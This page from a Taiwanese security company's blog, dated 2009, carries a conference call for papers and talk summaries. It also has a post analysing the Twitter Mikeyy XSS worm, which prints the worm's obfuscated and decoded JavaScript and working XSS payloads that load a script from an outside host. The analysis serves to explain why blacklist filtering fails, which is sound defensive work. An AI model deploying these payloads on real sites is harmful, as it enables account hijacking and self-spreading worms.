我相信還有很多業餘的資安技術份子存在著,或者是體內帶有資安因子﹙ex: 你明明是個金鋼狼,可是你還在和正常人一起生活著),更甚至你過去求職不順,收到太多"你已經加入人才資料庫,需要的時候會聯絡你"的 HR好人卡。
Armorize有高科技的潛力X光機,可以協助你一展長才

*記得* : 踴躍投稿 Hacker Day 很重要,一個了解資安人才需求的工作環境也很重要。

想了解 Armorize 有哪些人力需求 歡迎聯絡 Wayne(wayne在armorize點com)
想在投稿前,找人討論技術問題 歡迎聯絡 Kuon (kuon在armorize點com)


繼續閱讀全文...

2009/4/30

SySCAN Hack Day「駭翻天」徵求講師

(轉貼自:http://syscantaiwan.blogspot.com/2009/05/syscan-hack-day.html

_____ _____ _________ _ __ ______ _
/ ___/__ __/ ___// ____/ | / | / / /_ __/___ _(_) ______ _____
\__ \/ / / /\__ \/ / / /| | / |/ / / / / __ `/ / | /| / / __ `/ __ \
___/ / /_/ /___/ / /___/ ___ |/ /| / / / / /_/ / /| |/ |/ / /_/ / / / /
/____/\__, //____/\____/_/ |_/_/ |_/ /_/ \__,_/_/ |__/|__/\__,_/_/ /_/
/____/
__ __ __ ____ ____ ____
/ / / /___ ______/ /__ / __ \____ ___ __ // / __ \/ __ \
/ /_/ / __ `/ ___/ //_/ / / / / __ `/ / / / // / / / / /_/ /
/ __ / /_/ / /__/ ,< / /_/ / /_/ / /_/ / / /_/ /\__, /
/_/ /_/\__,_/\___/_/|_| /_____/\__,_/\__, / \____//____/
/____/





SySCAN Taiwan Hack Day 2009 call for papers
SySCAN Hack Day「駭翻天」徵求講師
(請大家盡量幫忙轉貼)
今年的SySCAN前瞻資安技術年會,將於七月七日-八日,於台北與各位見面,感謝各界的投稿,今年的講師陣容格外堅強,全都是國際知名資安研究員(大駭客),BlackHat / DEFCON / XSecWest等國際駭客年會的講師,包括了:Dave Aitel(Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師)、Charlie Miller(CanSecWest的Pwn2Own ‘08/’09兩屆冠軍)、Matt Conover(RSA、SANS、CanSecWest)、Stefan Esser(PHP安全第一人)、Justine Osborne(BlackHat、DEFCON)、Marc Schoenfeld(BlackHat)、Fyodor(BlackHat、HITB)、Jeremy Chiu(aka “Birdman”,SySCAN、OWASP)、Wayne Huang(RSA、OWASP、PHP)、Ben Nagy(Infosecurity, Ruxcon)等人,從Web安全,到路徑安全,到PHP核心安全,到虛擬化之安全,到Apple iPhone手機安全,到Google Android手機安全,保證每一場都精彩無比,讓大家接觸最前瞻之資安技術。

去年問卷反應第一的問題,是舉辦的時間希望為假日而非上班時間。但是本會的設計是緊接著SySCAN Singapore,新加坡結束後,講師才飛來台灣,故星期六比較困難,但是星期日是可以的。另一方面,其實有另一群與會者是希望本會在上班時間舉行的,因為視此為教育訓練之一部分,假日反而不方便。另一個多人反應的,是希望有教育訓練。經過多方考量與討論,我們決定將今年的SySCAN延長為四天,分為三部分活動,七月六日(週一)為SySCAN教育訓練日,課程將公佈於部落格與官網(*),七月七日-八日(週二、三)則為「SySCAN前瞻資安技術年會」,七月五日(週日)則首次舉辦「SySCAN Hack Day」(「SySCAN駭翻天」),活動一天,一人600NTD含中午便當與簡單茶水,Dave Aitel將做開場演講,而另外徵求講師,故發佈此call for paper。每位錄取之講師將由大會補助車馬費(Full talk=4000,Turbo talk=2000 NTD),免費參加七月七日-八日之「SySCAN前瞻資安技術年會」,並邀請參加七月七日之講師派對(speaker’s party),與SySCAN其他講師一起慶功,high到最高點!
「SySCAN前瞻資安技術年會」講師亦將到場與所有與會者一起於結束時投票,票選出最佳「Hack Day」講師,將致贈MacBook一台,與「SySCAN Hacker of the Day」獎狀一只,封為「SySCAN年度大駭客」。曾被封為「SySCAN年度大駭客」之講師,往後於會議再度演講時,一律補助車馬費(Full talk=6000,Turbo talk=3000 NTD)。
不論是車馬費、獎狀或MacBook,都是「SySCAN前瞻資安技術年會」之講師所沒有的!另外沒有錄取之前十名遺珠,將可半價參加Hack Day(不會公開姓名)。
報名「SySCAN前瞻資安技術年會」者,則可免費參加「SySCAN Hack Day」。
*最新資訊請見SySCAN前瞻資安技術年會blog:http://syscantaiwan.blogspot.com與SySCAN官網:http://www.syscan.org
*票價部分,七月5日Hack Day一票500NTD,全程三天(七月5日Hack Day,七月7-8日SySCAN Taiwan)共3000NTD,見:http://www.syscan.org/Tpe/registration.html

<<「SySCAN Hack Day」大會風格 >>
資安技術頂尖者,叫做「大駭客」。但是駭客是不破壞的,駭客會遵守負責的弱點揭露程序。「大駭客」技術一流,但是絕對不「黑」。「黑」不是「厲害」的代名詞,「黑」代表的是「不負責」、「犯罪」等行為。SySCAN敬仰大駭客但是鄙視「不負責」與「犯罪」之行為。「黑」很容易,看做不做而已,但是「大駭客」很不容易。我們歡迎各位駭客踴躍投稿!

<< 評審委員 >>
1. Thomas Lim(大會主席), Founder & Orgainser of SySCAN, Founder & CEO of COSEINC
2. Wayne Huang(大會主席), Co-organiser of SySCAN Taiwan, Founder & CEO of Armorize(阿碼科技)
3. Dave Aitel – Founder and CTO of Immunitysec
4. Kuon Ding – Senior Security Researcher of Armorize ASF
5. Matthew “Shok” Conover – Symantec
6. Jack Yu – Senior Security Researcher of Armorize ASF
第一階段先由熟悉中文之評審委員挑出具吸引力之投稿,然後將演講題目與大綱翻譯成英文後,英語系國家之評審委員共同決定最後錄取之講師。每一份投稿皆會收到被拒絕或被接受的原因。沒有錄取之前十名遺珠,將可半價參加Hack Day(不會公開姓名)。

<< 評分方法 >>
1. 內容技術紮實度 30%
2. 主題具前瞻性 20%
3. 講師為好的演講者 20%
4. 內容實用性 20%
5. 主題適合或吸引聽眾 10%

<< 演講種類 >>
演講希望以中文為主,其次為英文
A. Full talk:50 分鐘演講,徵求約四位講師
B. Turbo talk: 15 分鐘演講,徵求約四位講師

<< 重要日期 >>
公佈cfp與開放投稿:2009年五月一日
投稿截止:2009年六月五日或當評審委員覺得已經挑足講師時。所以早投早贏!
公佈錄取者:2009年六月十五日
Hack Day日期:2009年七月五日
前瞻資安技術年會日期:2009年七月七日-八日
講師派對:2009年七月七日晚

<< 投稿方式 >>
請將資料email至:cfp在syscan點org或hackday在armorize點com,主旨請註明:Hack Day 投稿
格式:
A. 姓名或代號:
B. Email:
C. 電話(手機佳):
D. 公司或學校:
E. 投稿種類:1. Full talk,2. Turbo talk
F. 題目:
G. 投稿內容:可以略寫大綱,但是有投影片或其他輔助資料當然更好
H. 是否將在大會上發表免費工具或paper?
I. (此項可免)講師簡歷,包含曾經擔任之講師經驗:

<< 徵求題目 >>
今年特別徵求與「實際經驗」、「事件調查」或「資安鑑識」有關之題目。例如處理資安事件之實際案例與經驗,執行某次資安鑑識時之歷程,調查某資安威脅之經過等。
今年題目包含但不限於以下:
* 各類威脅之研究
* 大規模攻擊(掛馬、轉址、DNS、DDoS…)
* 實際經驗之分享,包括「事件調查或「資安鑑識」等經驗分享
* 作業系統安全(Vista、Linux)
* 行動裝置與嵌入式系統安全(SmartPhones、PDAs、Game Consoles)
* Web 2.0之安全(Web services、PHP / .NET / .asp / .jsp / J2EE / Ruby / Perl / Python)
* Web應用程式安全
* 計算機網路與電信網路之安全(VoIP、3G/3.5G network、IPv6、WLAN/WiFi、GPRS、SS7)
* 新一代技術之安全(Chrome、IE8、Android、iPhone)
* 虛擬化安全
* 惡意程式/Rootkits
* 僵屍網路(BotNets)
* 法律與駭客
* 任何有趣之題目

<< 如何可以投上? >>
現在各國都有很多高水準之駭客年會,但是每個年會之風格卻截然不同,這完全看大會主席之定調,與評審團之組成與希望達成之會議文化。舉例來說,「SySCAN前瞻技術年會」希望提供與會者的是最前瞻的資安攻擊與防禦技術。所以在本年會中,即使某講師投稿了某大廠的超級0-day(零時差漏洞),也不見得會錄取--因為大會的目的不在提供破壞用的工具。此0-day之影響範圍再大,但是非新的漏洞形式、概念、或找到的方法也非利用新的方法,那麼就很難錄取…即使這是一個超級的微軟或linux或Adobe 0-day漏洞,也是一樣。因為SySCAN覺得,這種漏洞或威脅並非新類型,與會者並不會因為聽了這場演講而得到了新的資安知識,只是得知了一個新的打站工具或管道,而這個管道在0-day修復後就沒有價值了。相對的,如果該0-day為新類型之漏洞,或者為新的,往後可能成為重大威脅的漏洞,或者是利用新的方法找出來的漏洞,那麼即使該0-day目前影響範圍有限,還是很可能錄取。當然,SySCAN提倡負責的揭露,所以即使錄取後,也必須評估對方是否來得及在會議舉行前修復完畢等因素。
接下來就讓我們拿這次公佈的評選標準來談吧。

1. 內容技術紮實度 25%。SySCAN是很技術性的會議,所以技術內容之紮實度一定排第一。其實我們覺得在資安領域,其實管理面的挑戰與所需要的知識,一點也不比技術領域低,但是SySCAN是以技術為主的會議,所以首重技術之紮實度。

2. 主題具前瞻性 25%。這對本會太重要了,譬如某講師投稿了一個影響範圍極大的某大廠buffer overflow(緩衝區溢位)0-day,雖然很具話題性與「利用價值」,但是buffer overflow本身並非新型態的攻擊,而該講師也並非利用新的或特殊的方法來找到該漏洞,那麼可能錄取的機率就比較低。另外,什麼是「真的」前瞻性,也很重要。譬如某講師投稿了ARP spoofing / ARP poisoning研究,雖然近幾年ARP spoofing在台灣與大陸發生的案例非常頻繁,中文的資料似乎也不多,但是在資安領域超過十年的人,應該都記得,ARP spoofing / poisoning,是非常古老的攻擊,屬於可以放在教科書中的攻擊類型。由於太簡單,太常用,又用了太久了,所以近年來並沒有太多人願意做這方面的技術文章或演講;雖然近幾年在台灣用得非常頻繁,但是這並不表示這是具前瞻性之技術或威脅—這其實是超過十年並且很基本的手法。但是如果講師注意到,目前很多人其實對ARP spoofing/poisoning有誤解,誤認為是「sniffing的第一步」,而不知ARP是乙太網路上的協定,在骨幹上有很多地方其實並沒有乙太網路,ARP根本派不上用場,但是仍有很多其他sniffing的方式,例如打gre tunnel,玩BGP,弄OSPF,藉由SNMP設定switch,攻擊某些L4/L7加速器等,感染路由器等,而做一個「最新sniffing威脅整理」,那麼就會是具有前瞻性的好演講。

3. 講師為好的演講者 20%。SySCAN不但重視講師的內容,也重視演講的方式與台下的吸收。講師的內容再精彩,演講方式單調,表達不好,或沒有注意台下的反應,一下子講得太快太難,結果台下都睡著了,那就沒有達到吸收的效果。Matt Conover我們就認為在這方面非常有經驗,總是能抓住聽眾的水平,隨之調整速度,並隨時注意台下反應,是很好的講師。此外,講師就像球員一樣,這方面的分數是累積來的,就像網球中,排名前面的球員不用打會外賽,是一樣的道理。如果你很注意自己的表現,每一場都準備得好,講得好,當然你在評審心中的積分就高。如果都沒有講過,也不用擔心,凡是都有第一次,好的會議是很願意給新人機會的。但是如果投上了,一定要好好準備,不然搞砸了一次,下次要上就很難了。練習的時候,可以找朋友聽你試講,並且一定要錄音下來,放回來給自己聽,很有幫助。很多人第一次聽到自己的錄音都說:恩,我錄起來不像我…我講話不像這樣…。No,那個絕對就是你。

4. 內容實用性 10%。如果講的方法非常困難,對於一般人來說,根本不可能有環境來重複該手法,那就不具有實用性了。相對的,如果隨演講提供其他可讓聽眾受惠之資料,如公開免費工具、paper下載等 ,這方面的分數一定高。

5. 主題適合或吸引聽眾 10%。這考慮的是聽眾目前最有興趣的是什麼。假設最近ARP spoofing猖狂,讓很多新人想了解到底什麼是ARP spoofing,那麼一個相關的演講,雖然在「前瞻性」上得分不會高,但是在「吸引聽眾性」上卻是拿高分的。

最後,好的會議一定要投稿,不用怕,因為沒上也沒人知道你有投,況且沒上也並不表示你的研究不好,可能只是與大會今年主題不切合而已。但是好的會議都有好的評審團,回覆時會附上他們的意見,這些意見很具有參考價值。歡迎各位踴躍投稿,我們會場見!

最新資訊請見SySCAN前瞻資安技術年會blog:http://syscantaiwan.blogspot.com與SySCAN官網:http://www.syscan.org

SySCAN Taiwan大會主席 Thomas Lim與Wayne Huang 敬邀
有任何問題歡迎email Thomas(organiser 在syscan點org)或Wayne(wayne在armorize點com)

繼續閱讀全文...

2009/4/27

全方面的網站防護 - 技術介紹與案例

前言:
阿碼科技將與您分享網站威脅之實務案例與因應,更以「弱點的一生」來詮釋如何最有效地利用阿碼之「網站健診服務包(Armorize AppSec Suite)」中的「程式碼資安檢測(源碼檢測;CodeSecure)」、「網站應用層防火牆(SmartWAF)」、「即時安全監控(HackAlert)」、以及「木馬間諜檢測軟體(Archon Scanner)」等技術,讓企業在有限的資源下,擁有全方位的網站防護。相信透過實戰經驗分享成功案例,阿碼科技一起與您讓駭客無洞可鑽,享受網站安全、顧客安心、歡心獲利!

一、弱點的一生

上圖,很明顯提的是「系統」弱點的一生,這圖以前就常常被拿來說明了,只是是在 IDS、IPS 的時候,你有注意到嗎?所以我把 IPS 的防護作用放進去了, 網路應用程式防火牆 (WAF)的功能與作用是很類似入侵偵測防護(IPS)設備的。


上圖,就是「網站應用程式弱點的一生」,因為網站有包含需求、規畫、開發、測試、上線...的程序,當然,每個階段都有可能造成「弱點」,主要有網站邏輯設計錯誤、網路應用系統安全弱點 (OWASP)、SOP 程序弱點。這邊先針對 SOP 程序弱點舉例說明,網站上線之前應該有需要有一個類似標準作業程序(SOP)的文件,依據此進行網站上線前的一一檢點,確認每個項目都已經完成安全查核,其中應包含一項查核為「HTTP PUT Method」的檢測,做為確認系統無法隨意以 PUT 方式將檔案放入網站上,這通常都是對網站設定管理的不熟悉造成,為了避免相關的疏忽,可以發展一個「網站上線前的安全檢核清單」,避免這類設定不當造成問題。
目前金融產業在網站程式開發的生命周期中,已經是非常注意邏輯問題,以及網站上線的安全檢核清單問題,也累積了相當多的實戰經驗。對於其他產業來說,就必須特別注意整個網站程式開發的生命周期。當然,也有很多人的網站已經上線了,如何快速有效的進行防禦呢?協助您爭取時間進行全面快速有效的弱點修復呢?
最後除了系統、網站弱點,還有其他弱點需要注意嗎?你的 IT 基礎架構、網路架構、資安設備佈署、惡意程式防禦佈署...等,可能都會造成防禦漏洞的,你又該如何面對呢?

二、洞悉 Web 手法威脅

上圖,目前僅列出網站常見的威脅,至於,真正漏洞成因你得深思,可參考先前的一篇文章:「深思網站淪陷背後的意義」。另外有一篇文章也可參考:「網站多久沒健檢,是不是該關心一下了」希望能有幫助。如何洞悉網站威脅呢?由上表可以發現接獲通報來源,沒有一個是 IT 人員自行發現的,所以 IT 人員該如何培養敏感度呢?情報網是否情蒐管道暢通呢?尤其是客服或企業聯繫窗口,經常被人所遺忘的一群,一定要給予相當的資安敏感度才是。
另外,還有一個很重要的,就是地下經濟利益,才是造就威脅的真正成因。地下利益是動機、目的,威脅手法只是其手段,所以這點才是洞悉的關鍵之道。接下來,身為網站管理人或負責人,你得改變思維,到底網站上有哪些東西是有心人士想要的,有心人士會利用各種手段或手法來取的,你該如何因應呢?


上圖,是對於網站瀏覽者的威脅,其中接獲通報來源中有所謂的「網頁信譽評等 (WRS, Web Reputation Services)」,相關軟體可以參考這裡,某些程度這是會是有幫助的一個工具,如果不懂這是啥?哪你真的需要花點時間培養網路資安觀念了。同樣的,思考地下利益為何?你會發現不外乎「木馬、個資及金錢」,無論外在風險、威脅或各種風風雨雨,你應該知道有心人要的是啥了吧!對使用者來說就避免中毒、注意個資、不要用網路做跟金錢有關的事,但,用說的永遠比較容易,如何培養警覺性才是關鍵。

三、實際案例探討
1.密碼復原的邏輯錯誤

相關文章:
2008/10/09 「田納西男子駭進培林的電子信箱」
思考(當成課後問題吧!):問題如何能提早發現?做好準備(案例學習)?你的網站有類似問題嗎?

2.Code的攻防戰
相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
當你的網站遇上難纏的對手時,你該如何處置呢?開發人員也在事件應變處裡的一環了,不是嗎?早期的系統、網路漏洞問題,現在的程式開發漏洞問題,還有使用者警覺性的問題,你準備好了嗎?
思考(課後問題):如何迅速找出有問題的程式碼?有效的修正程式碼?網站改版時該做甚麼?你有記取教訓嗎?對開發流程是否有衝擊?開發人員是否有案例學習討論?你做準備了嗎?

四、成功關鍵
1.產品要有人力技術配合:技術需要扎根,才能有效發揮產品優勢。當然,需要正確有效評估「現有資源」,檢視目前現有人力與資源。
2.產品要融入管理制度:向上管理、對下管理。
3.產品只10%的成本,90%的成本在建立管理與培養人力技術上。
4.您在選的是產品,還是在選服務與技術。

五、打造 Web AP 聯防網(Armorize AppSec Suite)

上圖,是目前阿碼主要產品,相信大家應該不陌生。


上圖,為阿碼產品與技術服務的戰略位置,其中最特別的是「資安技術稽核」,這是因為我們看過太多客戶內部的 IT 基礎架構、網路規劃配置、資安設備佈署、惡意程式防禦佈署...等,都有相當的錯誤觀念存在。舉最簡單的例子,我們在看過許多客戶的 IPS 部署後,還沒有看過正確佈署的,有誰關心您是否正確使用或有效使用產品呢?你的防禦佈署規劃是在疊層架屋嗎?我們會總體檢視,包含「網站架構」、「用戶端管理」、「網路基礎建置」三個面向,找出 IT 的盲點與弱點,提供補強建議。


上圖,是阿碼的ASF對客戶提供的加值服務大類。其中教育訓練,是提供客戶建立技術扎根的管道之一。其中還包含社交工程演練,提供一般使用者能培養電子郵件與上網的警覺性,這可不是用產品或技術就能達到的目標。

後記:
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行,有鑑於許多向隅的人,還有中南部無法北上的有心人士,以及無法全場做成筆記者,能夠了解、知悉我們的心得,因此,彙整「亞太資安論壇」上的簡報內容,與大家分享。

繼續閱讀全文...

成功 IT 主管不說的秘密 - 有效面對Web威脅的六個訣竅


成功 IT 主管不說的秘密

前言:
今天的IT主管,是高挑戰性的工作。一方面,來自Web的威脅日益增加,另一方面,經濟不景氣,駭客更用力,而公司卻是預算降低,人手不足。資安投資並非能增加公司業務,在有限的時間、資源與預算下,資安做得好是運氣,且難以具體展現成果,而面對日新月異的攻擊手法,稍有疏忽卻要背負所有的責任。難道這是 IT 主管的宿命嗎?當然不是,只是成功的 IT 主管很少分享他們的秘訣。成功的IT主管能在有限資源下,充分掌握威脅面貌,減少不必要投資,有效降低資安風險,在需要時,與上級有效溝通取得資源,並選擇好的廠商,購買正確的產品或服務。資安威脅目前已經普遍受到公司高層主管重視,抓到訣竅的IT主管往往能快速得到認同,成為紅人。這個演講將用世界知名 CIO/CSO 實際的例子,舉出六個訣竅,說明這些成功的 IT 主管是如何瞭解威脅,與上級溝通,如何選對產品或廠商,如何在威脅中仍能高枕無憂,甚至步步高升?

一、洞悉 Web 威脅的宏觀挑戰

當網站開發完成,一旦對外開放的哪一刻開始,就無法拒絕任何人的任意輸入,如「神農大帝嚐百草,即使毒藥也得吃」,然神農大帝有神農氏一族,有目標、有系統、有管理的運作,你是單槍匹馬嗎?更甚者,一旦網站進一步成為幫兇,傷及網站瀏覽者,影響商譽甚鉅。而「漏洞修補」的方式也因開發團隊、語言系統、攻擊手法有不同因應方式,是否確實、有效、完整的修補也是一大課題。至於洞悉 Web 威脅,我們另外一場有深入剖析。

二、正確有效善用 「現有資源」
1.最少投資,最大效益

了解 Web AP 弱點有其「難易度」與「輕重緩急」,「修補」與「防護」之間如何拿捏運用?以解「燃眉之急」!

體察修補漏洞「收斂」與「歸納」的重要性,最短時間達到最大效益。

2.現狀處境、現有資源的相互應用

人力(內外部)、時間、預算與技術方案,「完整化」所有弱點的發現。

三、向上管理,體察君意、謀得資源!
1.對上用「維持資安水平」,「不要發生資安事故」的同理心,方能爭取「所需資源」。
2.避免陷入「功能面」單純比較,兼顧「管理面」、「操作面」與「技術面」。
3.避免陷入「大廠背書」迷失。

四、對下管理,同仇敵愾!
1.Web 安全方案 vs 打破藩籬:網路、系統、開發、資安如何分工?要談分工,就必須知道問題出在哪裡?
2.Web 安全方案 vs 組織抗拒:資安非其事,何故惹塵埃?
3.槍口「一致」對外(駭客):要塑造「保護網站」等同「保家衛民」,面對「艱難」任務,「共同」責任重大。並是適度利用「獎賞制度」讓「小兵願意立大功」,「全員皆兵,全面備戰」。
4.鼓勵資安為「生涯規劃」第二專長:強化資安教育訓練,如 Web 應用程式攻擊趨勢、修補改善、Secure Coding、應變鑑識、資安認證...等方式,培養資安專才。網路、系統、開發、資安本一家,內部輪調有必要,也能使同仁不會有過度的主觀意識。

五、「嚴選」Web AP 安全 合作夥伴

阿碼是原廠,有產品技術的優勢,也提供滲透測試服務,對於網站攻與防有專業能力。阿碼的原廠技術都在台灣,就在南港軟體園區,而我們團隊來自世界各地,能說中英文,提供在地的即時的技術服務。阿碼也提供事件應變處理協助,但我們卻不喜歡這樣的接觸狀況,因為,這個時候已經是事後了,但我們仍會解決客戶問題,並給予正確的忠墾建議與防範觀念。也因為這些接觸我們也有機會接觸到最新的攻擊手法、威脅,且我們更關注在地的重大威脅狀況,或全球注目的重大攻擊事件,提供最新的攻擊分析說明,看我們的 Blog 就可以說明一切了。

六、實務導入「Web 資安生命週期」各階段之 制度、流程與技術

這點當然是阿碼的強項,但阿碼不只有懂網站的攻防,我們也懂惡意程式。別忘了我們的「木馬間諜檢測軟體(Archon Scanner)」,透過行為痕跡偵測來分析電腦健康狀態的檢定工具。

後記:
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行,有鑑於許多向隅的人,還有中南部無法北上的有心人士,以及無法全場做成筆記者,能夠了解、知悉我們的成果分享,因此,在這彙整「亞太資安論壇」上的簡報內容。阿碼科技的 ASF 團隊(Armorize Special Forces)在協助多家企業客戶成功導入產品、建立管理制度、傳授人力技術...等過程中,一起共同努力克服重大問題的關鍵時刻,不斷磨合學習而來,在歸納整理心訣後,在此與大家一同分享。

繼續閱讀全文...

2009/4/19

為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期,Mikeyy蠕蟲發威了五次,twitter也號稱將所有相關的XSS(跨網站腳本)漏洞都修復了。結果昨天Mikeyy再度發威,twitter也再度公佈,並在幾小時候宣布已經修補漏洞。沒想到18小時後,Mikeyy又重現,twitter也又趕快公佈並著手處理...(見上圖。)

這次蠕蟲來的猛,幾個小時內發出超過一萬五千封假tweet訊息:


難道說這麼簡單到不行的twitter介面,在經過一個星期後,還是無法正確修補XSS(跨網站腳本)漏洞?不...會...吧?事實上也是這樣,六代跟一至五代的XSS攻擊字串不同,證明了twitter的修補方法都是錯的,我們這邊就藉此實例來說明,為何XSS(跨網站腳本)那麼難修補?

這次的蠕蟲放在:hxxp://runebash.net/xss.js,有經過一層的混碼(obfuscation):

var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天,竟然沒有人貼出解碼後的版本(連解碼前之以上版本都找不到),真是苦命,都沒人想研究嗎?只好自己手動解一下:

function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);

var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");

} ;
setTimeout(wait(),5250);

重點在第34行,也就是這次攻擊的字串:
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩,沒錯,字串中沒有「<」或「>」或「"」等字元,當然也沒有「<script>」或「<script src=」等字串,但是還是有效達成XSS(跨網站腳本)的效果。

我們看一下被感染後使用者的原始HTML(節錄):

ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩,沒錯,這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下,其中就帶有「<script>」字串:
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 

有效防範XSS之難處在於,每個網站的架構之不同,可能造成多層的字串編解碼步驟,所以如何有效處理外來(不安全)的字串,因各網站而異,開發人員需要充分了解XSS的原理,才能有效避免。這個題目太大,晚上就要上飛機到RSA參展,目前無法寫太多,但是簡而言之,應盡量避免黑名單之使用,而採用白名單(比較資料型態,長度,合法性等)。以twitter的例子,twitter就是認為以黑名單方式過濾掉「<」或「>」或「"」等字元,就可以避免XSS了,但是當然不是這樣子,以這次六代的攻擊字串為例,其中並無包含任何以上字元,然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多,其中RSnake(ha.ckers.orgsla.ckers.org,OWASP有來台灣)的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整,可以參考。

為何說twitter是用黑名單方式?其實之前就測出來了,也有人通知,但是可能email都進垃圾信了,才會又讓Mikeyy捲土重來。其實不用測試,twitter的API手冊上,早就自己承認了:

手冊上直接說:為了避免cross-site scripting漏洞,「<」與「>」會經過編碼...這個在駭客的眼裡,其實是說:我很有可能有XSS漏洞,快來打我。黑名單絕對不是有效防止XSS(跨網站腳本)的方法。這是因為在很多情況下,是不需要「<」與「>」,甚至「"」等字元,就可以攻擊成功的。

在問題終於排除後,twitter再次宣布「問題已經控制住了(under control)」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢?



作者 Wayne 為阿碼科技CEO

後記一:因為這次網路上似乎都沒有人公開攻擊碼,剛才寫信給RSnake(ha.ckers.orgsla.ckers.org),他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區,看一下上面從Samy一路下來到都有收錄,幫他推一下,想研究XSS蠕蟲看這:http://sla.ckers.org/forum/read.php?2,14477

後記二:有朋友寫信來問,我才發現這系列幾篇中都忘記提了:注意攻擊方式是用「Post」非「Get」,很久以前的傳說:【使用「Post」非「Get」,就可以避免XSS】...當然一直都只是傳說。

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」(本篇)
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」


繼續閱讀全文...

2009/4/14

漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節

(閱讀本文之前請先閱讀「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」)
